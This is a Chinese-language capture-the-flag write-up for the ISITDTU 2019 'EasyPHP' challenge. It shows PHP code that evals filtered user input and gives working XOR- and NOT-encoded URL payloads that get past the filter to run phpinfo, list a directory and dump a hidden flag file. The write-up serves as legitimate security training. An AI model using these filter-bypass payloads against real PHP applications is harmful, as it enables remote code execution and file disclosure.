2019ISITDTU-EasyPHP
https://github.com/CTFTraining/isitdtu_2019_easyphp
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
能用的可见字符:
! # % ( ) * + - / : ; < = > ? @ A B C H I J K L M N Q R T U V W X Y Z \ ] ^ a b c h i j k l m n q r t u v w x y z } ~
还有个:
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
当mode=3时,表示返回包含所有用过的不同字符的字符串,也就是不能提交超过13种字符
上面可用的可见字符中没有过滤~ 和 ^ ,可用取反和异或绕过
先用phpinfo:
?_=(~%8F%97%8F%96%91%99%90)();
open_basedir:
但是没有过滤var_dump、print_r、glob、scandir
print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
得到n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt 文件
访问发现:
说明不能直接访问,所以要读出来
可以加上end + show_source / readfile
show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));